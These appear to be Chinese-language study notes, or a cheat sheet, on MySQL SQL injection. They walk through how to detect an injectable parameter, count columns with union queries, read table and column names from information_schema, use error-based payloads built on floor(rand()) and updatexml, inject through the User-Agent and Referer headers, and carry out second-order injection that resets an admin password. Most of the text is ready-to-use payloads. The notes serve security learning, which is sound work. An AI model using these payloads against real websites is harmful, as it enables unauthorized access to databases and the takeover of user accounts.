?id=35 +1/-1 #如果有效果考虑联合查询 ?id=35' #判断字符型还是数字型,是否有报错,有报错就报错注入 ?id=35 and 1=1 / 1=2 #判断是否可以布尔盲注 ?id=35 and sleep(5) #判断是否可以延时注入 --------------------------------------------------- order by N #猜测数据表字段/列的数量 union select1,2,3.../null... #猜测数据表字段/列的数量 -------------------------------------------------- ?id=0=0#判断数字型 ?id=1'-'#判断字符型(mysql弱类型,true-false),相当于select XXX where id='1'-'' 相当于查询id='1',如果是?id=2'-'1,那就是id='3'-'1',id='2' http://www.360doc.com/content/20/0826/15/65839755_932307003.shtml
四、SQL注入的分类
1、按照注入点类型分类:
1)数字型注入:
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
2)字符型注入:
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
3)搜索型注入:
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
1、爆破字段数:先利用order by 爆出字段数 2、爆破字段数:也可使用select ... union select 1,2,3....,字段数 爆出字段数 3、回显输出:为了让我们可以真正的与目标数据库交互,也就是可以控制输入得到输出(目前我们得不到输出),因此可以这样:select ... id=-999 (and 1=2) union select 1,2,3....,字段数 #利用union表1为假,导致只能输出第2个表的内容 #回显输出时如果输出类型与表1对应字段类型不同,可以使用hex()转16进制显示,得到16进制使用bp还原即可 4、爆破表名(成功率不行):select ... id=-999 (and 1=2) union select 1,2,3....,字段数 from 表名 5、查询元数据库得到当前数据库所有表的表名:select ... id=-999 (and 1=2) union select 1,2,hex(group_concat(table_name))....,字段数 from information_schema.tables where table_schema=database() #得到当前数据库所有表的表名 6、查询元数据库得到当前数据库某个表的所有字段:select ... id=-999 (and 1=2) union select 1,2,hex(group_concat(column_name))....,字段数 from information_schema.columns where table_schema=database() and table_name=0xXXXX #对于表名是字符串需要单引号的情况,如果不想使用单引号则可以将其转换为16进制形式,无需引号。 7、得到查询目标表和字段直接查询:select ... id=-999 (and 1=2) union select 1,2,concat(字段1,0x3a(冒号),字段2)....,字段数 from 表名
select left(rand(),3),a,count(*) from r1 group by 1; select round(rand(),1),a,count(*) from r1 group by 1; select floor(rand()*2),a,count(*) from r1 group by 1; select a,count(*) from r1 group by round(rand(),1); #此时语句会报错,Duplicate entry '泄露点' for key 'group_key',发生了重复键错误,这个SQL解析语句的过程有关,详情见下 #r1是一个测试用的数据表,里面只有一个字段a,表里面有数条记录,都是1或者2。 +------+ | a | +------+ | 1 | | 0 | | 1 | | 0 | | 1 | | 0 | | 1 | | 0 | | 0 | +------+ 9 rows in set (0.02 sec) ------------------------------------------------------------------ select concat(left(rand(),3), '^', (select version()), '^') as x,count(*) from group by x; #当元数据库表被禁用时,注意临时表要有别名 select concat(left(rand(),3), '^', (select version()), '^') as x,count(*) from (select 1 union select null union select !1)alias group by x; #当rand() | count()被禁用 select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2); #不依赖额外的函数和表 select min(@a:=1) from (select 1 union select null union select !1)alias group by concat('^',@@version,'^',@a:=(@a+1)%2); ---------------------------------------------------------------------- [?id=33 and (select 1 from (select count(*), concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+] [?id=33 and (select 1 from (select count(*), concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
#User-Agent注入 hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and 1='1 #后续语句不能注释,故使用'1闭合后面的单引号 #Referer注入 hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
二次注入的原理是,服务器针对数据库查询的参数值进行了转义操作。例如使用PHP的mysql_escape_string/mysql_escape_string/addslashes做了转义处理,比如你注入的内容是1' ,但参数值经过转义成了1\',此时再插入到数据库查询语句中就是select XXX from table where id = '1\'',可以看到我们恶意构造的单引号已经被转义为了参数的一个值,不会对引号的闭合产生影响。这种服务器端的防守策略固然好,但是也是会有漏洞的。比如,数据库尽管针对用户的输入内容进行了转义,但是如果是数据插入操作,MYSQL默认会移除值中的反斜杠。一般来说,开发人员会完全信任内部的数据,不会对数据库内部取出的数据再进行转义,因此当查询出这条数据再进行数据库语句拼接操作时,这就可能引起SQL注入。
例如:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ,此时我们构造的语句为:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass',可以看到admin处的内容没有经过转义直接截断了后面的判断,绕过了验证,修改了admin的密码。
SELECT * FROM table LIMIT 偏移量(从0开始),行数 #从查询的结果中截取几行记录
5、判断是什么数据库
1)内置数据表判断
1 2 3
id=-1 and (select count(*) from XXX) > 0 and 1=1 --+ xxx: msSQL数据库:sysobjects;mysql数据库:information_schema.TABLES access数据库:msysobjects oracle数据库:sys.user_tables